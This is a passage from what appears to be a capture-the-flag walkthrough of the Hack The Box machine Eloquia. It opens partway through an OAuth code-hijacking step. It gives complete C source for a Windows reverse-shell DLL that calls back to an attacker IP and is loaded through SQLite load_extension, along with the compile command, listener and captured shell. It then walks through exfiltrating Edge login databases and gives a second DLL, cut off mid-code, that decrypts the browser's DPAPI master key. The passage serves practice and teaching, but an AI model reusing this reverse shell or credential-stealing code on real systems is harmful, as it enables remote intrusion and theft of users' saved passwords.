Accept: text/html,application/xhtml+xml,application/xml<span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.9,image/avif,image/webp,image/apng,<span class="k">*</span>/<span class="k">*</span><span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.8,application/signed-exchange<span class="p">;</span><span class="nv">v</span><span class="o">=</span>b3<span class="p">;</span><span class="nv">q</span><span class="o">=</span>0.7
Accept-Encoding: <span class="nb">gzip</span>, deflate

 
<span class="nt">----------</span>

<span class="o">[</span>+] Sending response:
<span class="nt">----------</span>
HTTP/1.1 302 Found
Location: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code<span class="o">=</span>XpvwErqGITehnJhE5UTaW7RlgqDtuN
Content-Length: 0


<span class="nt">----------</span>
<span class="o">[</span>+] Connection received shutting down server...

</pre></td></tr></tbody></table></code></pre></div></div>

<p>This may take a a few tries, but after a while the admin should visit the reported article with a valid code. Once the admin visits our malicious article we should be able to login to the <code class="language-plaintext highlighter-rouge">admin</code> account using <code class="language-plaintext highlighter-rouge">login with qooqle</code>. 
<img src="/assets/img/img_Eloquia/0022.jpeg" alt="" /></p>

<h2 id="sqlite-dll-reverse-shell">SQLite DLL Reverse Shell</h2>

<p>As the admin user, we have access over the <code class="language-plaintext highlighter-rouge">admin panel</code>
<img src="/assets/img/img_Eloquia/0023.jpeg" alt="" /></p>

<p>One interesting feature feature we have access to is the <code class="language-plaintext highlighter-rouge">SQL query</code> if we create a query and view it we can find the <code class="language-plaintext highlighter-rouge">SQL explorer</code> which allows us to test SQL queries.
<img src="/assets/img/img_Eloquia/0024.jpeg" alt="" /></p>

<p>After some tinkering we can find that the Database is <code class="language-plaintext highlighter-rouge">SQLITE</code>. We’re able to query where the database file is located through using the <a href="https://sqlite.org/pragma.html#pragma_database_list">PRAGMA database_list;</a> function.</p>

<pre><code class="language-SQL">PRAGMA database_list;
seq name    file
0 	main 	C:\Web\Eloquia\db.sqlite3

</code></pre>

<p>Now that we have a location for the <code class="language-plaintext highlighter-rouge">web root</code>, we should be able to load our uploaded extension using the native <code class="language-plaintext highlighter-rouge">load_extension()</code> function. So let’s first write a simple reverse shell using the <a href="https://sqlite.org/loadext.html">sqlite loadable extensions documentation</a> as a guide combining it with a <a href="https://www.revshells.com/">C Windows Revshell</a>. We get the following.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="rouge-code"><pre><span class="cp">#include</span> <span class="cpf">&lt;winsock2.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#pragma comment(lib,"ws2_32")
</span>
<span class="kr">__declspec</span><span class="p">(</span><span class="n">dllexport</span><span class="p">)</span>

<span class="kt">int</span> <span class="nf">sqlite3_extension_init</span><span class="p">(</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">db</span><span class="p">,</span> 
  <span class="kt">char</span> <span class="o">**</span><span class="n">pzErrMsg</span><span class="p">,</span> 
  <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">pApi</span>
<span class="p">){</span>
        <span class="n">WSADATA</span> <span class="n">wsaData</span><span class="p">;</span>
        <span class="n">SOCKET</span> <span class="n">Winsock</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">hax</span><span class="p">;</span> 
        <span class="kt">char</span> <span class="n">ip_addr</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="s">"10.10.14.117"</span><span class="p">;</span> 
        <span class="kt">char</span> <span class="n">port</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="s">"9001"</span><span class="p">;</span>            

        <span class="n">STARTUPINFO</span> <span class="n">ini_processo</span><span class="p">;</span>

        <span class="n">PROCESS_INFORMATION</span> <span class="n">processo_info</span><span class="p">;</span>
        <span class="n">WSAStartup</span><span class="p">(</span><span class="n">MAKEWORD</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">wsaData</span><span class="p">);</span>
        <span class="n">Winsock</span> <span class="o">=</span> <span class="n">WSASocket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="n">IPPROTO_TCP</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>


        <span class="k">struct</span> <span class="n">hostent</span> <span class="o">*</span><span class="n">host</span><span class="p">;</span> 
        <span class="n">host</span> <span class="o">=</span> <span class="n">gethostbyname</span><span class="p">(</span><span class="n">ip_addr</span><span class="p">);</span>
        <span class="n">strcpy_s</span><span class="p">(</span><span class="n">ip_addr</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="n">inet_ntoa</span><span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="k">struct</span> <span class="n">in_addr</span> <span class="o">*</span><span class="p">)</span><span class="n">host</span><span class="o">-&gt;</span><span class="n">h_addr</span><span class="p">)));</span>

        <span class="n">hax</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
        <span class="n">hax</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="n">htons</span><span class="p">(</span><span class="n">atoi</span><span class="p">(</span><span class="n">port</span><span class="p">));</span>
        <span class="n">hax</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">.</span><span class="n">s_addr</span> <span class="o">=</span> <span class="n">inet_addr</span><span class="p">(</span><span class="n">ip_addr</span><span class="p">);</span>

        <span class="n">WSAConnect</span><span class="p">(</span><span class="n">Winsock</span><span class="p">,</span> <span class="p">(</span><span class="n">SOCKADDR</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">hax</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hax</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

        <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ini_processo</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ini_processo</span><span class="p">));</span>
        <span class="n">ini_processo</span><span class="p">.</span><span class="n">cb</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ini_processo</span><span class="p">);</span>
        <span class="n">ini_processo</span><span class="p">.</span><span class="n">dwFlags</span> <span class="o">=</span> <span class="n">STARTF_USESTDHANDLES</span> <span class="o">|</span> <span class="n">STARTF_USESHOWWINDOW</span><span class="p">;</span> 
        <span class="n">ini_processo</span><span class="p">.</span><span class="n">hStdInput</span> <span class="o">=</span> <span class="n">ini_processo</span><span class="p">.</span><span class="n">hStdOutput</span> <span class="o">=</span> <span class="n">ini_processo</span><span class="p">.</span><span class="n">hStdError</span> <span class="o">=</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="n">Winsock</span><span class="p">;</span>

        <span class="n">TCHAR</span> <span class="n">cmd</span><span class="p">[</span><span class="mi">255</span><span class="p">]</span> <span class="o">=</span> <span class="n">TEXT</span><span class="p">(</span><span class="s">"cmd.exe"</span><span class="p">);</span>

        <span class="n">CreateProcess</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">cmd</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">TRUE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ini_processo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">processo_info</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We won’t be able to just compile this on our linux attack box as we don’t have the dll files for windows, so let’s use mingw.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>x86_64-w64-mingw32-gcc <span class="nt">-shared</span> rev.c <span class="nt">-o</span> extension.dll <span class="nt">-lws2_32</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We’re able to manually add <code class="language-plaintext highlighter-rouge">Articles</code> which has far less filtering than the main site for file uploads. We can upload our reverse shell dll file. If we <code class="language-plaintext highlighter-rouge">save and continue editing</code> we can find the relative location of our <code class="language-plaintext highlighter-rouge">dll</code> file. 
<img src="/assets/img/img_Eloquia/0025.jpeg" alt="" /></p>

<p>Combining this with our <code class="language-plaintext highlighter-rouge">SQL query</code> we should be able to use the <code class="language-plaintext highlighter-rouge">SQLITE load_extension</code> function to run our revshell, so let’s start our listener and send an SQLite request to load the file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>socat TCP-LISTEN:9001,reuseaddr,fork -

SELECT load_extension<span class="o">(</span><span class="s1">'C:\Web\Eloquia\static\assets\images\blog\extension.dll'</span><span class="o">)</span><span class="p">;</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Instantly I get a callback on my listener.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre>socat TCP-LISTEN:9001,reuseaddr,fork -
Microsoft Windows <span class="o">[</span>Version 10.0.17763.8027]
<span class="o">(</span>c<span class="o">)</span> 2018 Microsoft Corporation. All rights reserved.

C:<span class="se">\W</span>eb<span class="se">\E</span>loquia&gt;whoami
<span class="nb">whoami
</span>eloquia<span class="se">\w</span>eb

C:<span class="se">\W</span>eb<span class="se">\E</span>loquia&gt;cd C:<span class="se">\U</span>sers<span class="se">\W</span>eb<span class="se">\D</span>esktop
<span class="nb">cd </span>C:<span class="se">\U</span>sers<span class="se">\W</span>eb<span class="se">\D</span>esktop

C:<span class="se">\U</span>sers<span class="se">\w</span>eb<span class="se">\D</span>esktop&gt;dir
<span class="nb">dir
 </span>Volume <span class="k">in </span>drive C has no label.
 Volume Serial Number is 22C6-32BB

 Directory of C:<span class="se">\U</span>sers<span class="se">\w</span>eb<span class="se">\D</span>esktop

10/21/2025  01:23 PM    &lt;DIR&gt;          <span class="nb">.</span>
10/21/2025  01:23 PM    &lt;DIR&gt;          ..
12/15/2025  09:17 AM                34 user.txt
               1 File<span class="o">(</span>s<span class="o">)</span>             34 bytes
               2 Dir<span class="o">(</span>s<span class="o">)</span>   4,468,330,496 bytes free


</pre></td></tr></tbody></table></code></pre></div></div>

<p>Just like that, we have User!</p>
<h1 id="root">Root</h1>

<h2 id="decrypting-edge-logins">Decrypting Edge Logins</h2>

<p>From the article edit page we can find a list of users under the <code class="language-plaintext highlighter-rouge">Author</code> dropdown menu. 
<img src="/assets/img/img_Eloquia/0026.jpeg" alt="" /></p>

<p>Using this along with some hunting we can find <code class="language-plaintext highlighter-rouge">olivia.k</code> in several directories in the <code class="language-plaintext highlighter-rouge">Microsoft Edge User Data</code> folder.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="n">C:\Users\web\AppData\Local\Microsoft\Edge\User</span><span class="w"> </span><span class="nx">Data</span><span class="err">&gt;</span><span class="nx">findstr</span><span class="w"> </span><span class="nx">/simr</span><span class="w"> </span><span class="s2">"olivia.kat"</span><span class="w"> </span><span class="o">*.*</span><span class="w"> 
</span><span class="n">findstr</span><span class="w"> </span><span class="nx">/simr</span><span class="w"> </span><span class="s2">"olivia.kat"</span><span class="w"> </span><span class="o">*.*</span><span class="w">                                                     
</span><span class="n">Default\Cache\Cache_Data\data_3</span><span class="w">                                                    
</span><span class="n">Default\Login</span><span class="w"> </span><span class="nx">Data</span><span class="w">                                                                 
</span><span class="n">Default\Web</span><span class="w"> </span><span class="nx">Data</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Transfer these files to your localhost, it might be a bit difficult given the applocker security settings, I recommend utilizing certutil to base64 encode the files and using an upload server. After exfiltrating the files, we can find several login sessions in the <code class="language-plaintext highlighter-rouge">login data</code> database.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="n">sqlite</span><span class="o">&gt;</span> <span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">logins</span><span class="p">;</span>
<span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">openai</span><span class="p">.</span><span class="n">com</span><span class="o">/|||</span><span class="n">olivia</span><span class="p">.</span><span class="n">kat</span><span class="o">||</span><span class="n">v10</span><span class="o">*</span><span class="n">y</span><span class="o">#/</span><span class="n">H</span><span class="err">±</span><span class="o">=+&amp;</span><span class="err">\</span><span class="p">[</span>        <span class="n">n</span><span class="o">^</span><span class="n">rd</span><span class="o">#</span><span class="err">쩺</span><span class="o">%</span><span class="err">Ԋ</span><span class="o">!</span><span class="n">b</span><span class="o">||</span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">openai</span><span class="p">.</span><span class="n">com</span><span class="o">/|</span><span class="mi">13358114944404661</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">3</span><span class="o">|</span><span class="mi">0</span><span class="o">|||||</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">3</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">13358114944404661</span><span class="o">|||</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span>
<span class="n">o</span><span class="p">)</span><span class="n">l</span><span class="p">.</span><span class="n">pisY6M</span><span class="o">~</span><span class="n">n</span><span class="o">/</span><span class="n">a</span><span class="p">.</span><span class="n">htb</span><span class="o">/</span><span class="n">accounts</span><span class="o">/</span><span class="n">login</span><span class="o">/|</span><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">eloquia</span><span class="p">.</span><span class="n">htb</span><span class="o">/</span><span class="n">accounts</span><span class="o">/</span><span class="n">login</span><span class="o">/|</span><span class="n">username</span><span class="o">|</span><span class="n">Olivia</span><span class="p">.</span><span class="n">KAT</span><span class="o">|</span><span class="n">password</span><span class="o">|</span><span class="n">v10</span>
<span class="n">SF</span><span class="o">||</span><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">eloquia</span><span class="p">.</span><span class="n">htb</span><span class="o">/|</span><span class="mi">13405555954219039</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||||</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">4</span><span class="o">|</span><span class="mi">13405555945733165</span><span class="o">||</span><span class="mi">13405555954219445</span><span class="o">|||</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span>
<span class="n">FLg</span><span class="o">||</span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">eloquia</span><span class="p">.</span><span class="n">htb</span><span class="o">/|</span><span class="mi">13405556235822862</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">3</span><span class="o">|</span><span class="mi">0</span><span class="o">|||||</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">5</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">13405556235822862</span><span class="o">|||</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span>
<span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">chatgpt</span><span class="p">.</span><span class="n">com</span><span class="o">/|||</span><span class="n">olivia</span><span class="p">.</span><span class="n">kat</span><span class="o">||</span><span class="n">v10</span><span class="o">||</span><span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">chatgpt</span><span class="p">.</span><span class="n">com</span><span class="o">/|</span><span class="mi">13405632874452328</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">3</span><span class="o">|</span><span class="mi">0</span><span class="o">|||||</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">6</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">13405632874452328</span><span class="o">|||</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Currently they’re encrypted via <code class="language-plaintext highlighter-rouge">dpapi</code>, so we’ll have to grab the <code class="language-plaintext highlighter-rouge">masterkey</code>. We can locate the <code class="language-plaintext highlighter-rouge">masterkey</code> used for the encryption in the <code class="language-plaintext highlighter-rouge">Local State</code> file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>C:<span class="se">\U</span>sers<span class="se">\w</span>eb<span class="se">\A</span>ppData<span class="se">\L</span>ocal<span class="se">\M</span>icrosoft<span class="se">\E</span>dge<span class="se">\U</span>ser Data&gt;dir <span class="s2">"Local State"</span>
<span class="nb">dir</span> <span class="s2">"Local State"</span>
 Volume <span class="k">in </span>drive C has no label.
 Volume Serial Number is 22C6-32BB

 Directory of C:<span class="se">\U</span>sers<span class="se">\w</span>eb<span class="se">\A</span>ppData<span class="se">\L</span>ocal<span class="se">\M</span>icrosoft<span class="se">\E</span>dge<span class="se">\U</span>ser Data

10/22/2025  10:54 AM            57,640 Local State
               1 File<span class="o">(</span>s<span class="o">)</span>         57,640 bytes
               0 Dir<span class="o">(</span>s<span class="o">)</span>   4,503,678,976 bytes free

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can transfer this over and extract the <code class="language-plaintext highlighter-rouge">encrypted key</code> under the <code class="language-plaintext highlighter-rouge">os crypt</code> object.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="nb">cat </span>state.txt | jq <span class="s2">".os_crypt.encrypted_key"</span>
<span class="s2">"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX[REDACTED]"</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Base 64 Decoding this, we get the following data, I’ll check out the HEX.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABzr42Q+SDgR78a6A6x6z+EEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABZqUTKi+3PgI
qd3Qa3HRY2/JCmSDJLECa+TMtiB0cTPAAAAAAOgAAAAAIAACAAAAB0hEH7C3oQN6ghOwRl2cHGV2G3/o/oobqZ3Zm0uQNUhjAAAAAWtJnWT3GsY2PXsMOl66xYaMIXJodfrvLK5HVzFOvcGuw1CJ
n8xvbLF0LLyaOLujdAAAAA+vRmKffc2JdtiXx3o7Pvxy5CiU8YAuklDgNkgE+eAFDiAhBb5ZWr7zp30+GtPk4qluAXDrum+QHtuygfoywpTw=='</span> | <span class="nb">base64</span> <span class="nt">-d</span> <span class="o">&gt;</span> key

<span class="nv">$ </span>xxd key                                                        
00000000: 4450 4150 4901 0000 00d0 8c9d df01 15d1  DPAPI...........
00000010: 118c 7a00 c04f c297 eb01 0000 0073 af8d  ..z..O.......s..
00000020: 90f9 20e0 47bf 1ae8 0eb1 eb3f 8410 0000  .. .G......?....
00000030: 001e 0000 004d 0069 0063 0072 006f 0073  .....M.i.c.r.o.s
00000040: 006f 0066 0074 0020 0045 0064 0067 0065  .o.f.t. .E.d.g.e
00000050: 0000 0010 6600 0000 0100 0020 0000 0059  ....f...... ...Y
00000060: a944 ca8b edcf 808a 9ddd 06b7 1d16 36fc  .D............6.
00000070: 90a6 4832 4b10 26be 4ccb 6207 4713 3c00  ..H2K.&amp;.L.b.G.&lt;<span class="nb">.</span>
00000080: 0000 000e 8000 0000 0200 0020 0000 0074  ........... ...t
00000090: 8441 fb0b 7a10 37a8 213b 0465 d9c1 c657  .A..z.7.!<span class="p">;</span>.e...W
000000a0: 61b7 fe8f e8a1 ba99 dd99 b4b9 0354 8630  a............T.0
000000b0: 0000 0016 b499 d64f 71ac 6363 d7b0 c3a5  .......Oq.cc....
000000c0: ebac 5868 c217 2687 5fae f2ca e475 7314  ..Xh..&amp;._....us.
000000d0: ebdc 1aec 3508 99fc c6f6 cb17 42cb c9a3  ....5.......B...
000000e0: 8bba 3740 0000 00fa f466 29f7 dcd8 976d  ..7@.....f<span class="o">)</span>....m
000000f0: 897c 77a3 b3ef c72e 4289 4f18 02e9 250e  .|w.....B.O...%.
00000100: 0364 804f 9e00 50e2 0210 5be5 95ab ef3a  .d.O..P...[....:
00000110: 77d3 e1ad 3e4e 2a96 e017 0ebb a6f9 01ed  w...&gt;N<span class="k">*</span>.........
&lt;SNIP&gt;

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can see that the magic bytes contain a <code class="language-plaintext highlighter-rouge">DPAPI</code> signature we’ll need to run the <code class="language-plaintext highlighter-rouge">CryptUnprotectData</code> function on this key. So let’s write a binary to read the file, decode and decrypt the key, it’ll have to be another <code class="language-plaintext highlighter-rouge">sqlite3 dll</code> as the app locker policy is quite strong on this machine.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
</pre></td><td class="rouge-code"><pre><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;wincrypt.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="c1">// Hardcoded Paths</span>
<span class="cp">#define TARGET_FILE "C:\\Users\\web\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State"
#define OUTPUT_FILE "C:\\Windows\\Tasks\\masterkey.txt"
</span>
<span class="c1">// The correct signature for SQLite extensions</span>
<span class="kr">__declspec</span><span class="p">(</span><span class="n">dllexport</span><span class="p">)</span> <span class="kt">int</span> <span class="kr">__stdcall</span> <span class="nf">sqlite3_extension_init</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">db</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">pzErrMsg</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">pApi</span><span class="p">)</span> <span class="p">{</span>
    
    <span class="c1">// Check if the source file exists before trying to decrypt</span>
    <span class="n">DWORD</span> <span class="n">dwAttrib</span> <span class="o">=</span> <span class="n">GetFileAttributesA</span><span class="p">(</span><span class="n">TARGET_FILE</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">dwAttrib</span> <span class="o">==</span> <span class="n">INVALID_FILE_ATTRIBUTES</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> 

    <span class="n">HANDLE</span> <span class="n">hFile</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span><span class="n">TARGET_FILE</span><span class="p">,</span> <span class="n">GENERIC_READ</span><span class="p">,</span> <span class="n">FILE_SHARE_READ</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">OPEN_EXISTING</span><span class="p">,</span> <span class="n">FILE_ATTRIBUTE_NORMAL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">hFile</span> <span class="o">!=</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">DWORD</span> <span class="n">fileSize</span> <span class="o">=</span> <span class="n">GetFileSize</span><span class="p">(</span><span class="n">hFile</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
        <span class="kt">char</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">LocalAlloc</span><span class="p">(</span><span class="n">LPTR</span><span class="p">,</span> <span class="n">fileSize</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
        <span class="n">DWORD</span> <span class="n">bytesRead</span><span class="p">;</span>
        
        <span class="k">if</span> <span class="p">(</span><span class="n">ReadFile</span><span class="p">(</span><span class="n">hFile</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">fileSize</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bytesRead</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">))</span> <span class="p">{</span>
            <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">keyLabel</span> <span class="o">=</span> <span class="s">"</span><span class="se">\"</span><span class="s">encrypted_key</span><span class="se">\"</span><span class="s">:</span><span class="se">\"</span><span class="s">"</span><span class="p">;</span>
            <span class="kt">char</span><span class="o">*</span> <span class="n">start</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">keyLabel</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">start</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">start</span> <span class="o">+=</span> <span class="mi">17</span><span class="p">;</span>
                <span class="kt">char</span><span class="o">*</span> <span class="n">end</span> <span class="o">=</span> <span class="n">strchr</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="sc">'\"'</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">end</span><span class="p">)</span> <span class="p">{</span>
                    <span class="o">*</span><span class="n">end</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
                    <span class="n">DWORD</span> <span class="n">binaryLen</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
                    <span class="n">CryptStringToBinaryA</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">CRYPT_STRING_BASE64</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">binaryLen</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
                    <span class="n">BYTE</span><span class="o">*</span> <span class="n">binaryKey</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">LocalAlloc</span><span class="p">(</span><span class="n">LPTR</span><span class="p">,</span> <span class="n">binaryLen</span><span class="p">);</span>
                    <span class="n">CryptStringToBinaryA</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">CRYPT_STRING_BASE64</span><span class="p">,</span> <span class="n">binaryKey</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">binaryLen</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

                    <span class="n">DATA_BLOB</span> <span class="n">dataIn</span> <span class="o">=</span> <span class="p">{</span> <span class="n">binaryLen</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="n">binaryKey</span> <span class="o">+</span> <span class="mi">5</span> <span class="p">};</span>
                    <span class="n">DATA_BLOB</span> <span class="n">dataOut</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">};</span>

                    <span class="k">if</span> <span class="p">(</span><span class="n">CryptUnprotectData</span><span class="p">(</span><span class="o">&amp;</span><span class="n">dataIn</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dataOut</span><span class="p">))</span> <span class="p">{</span>
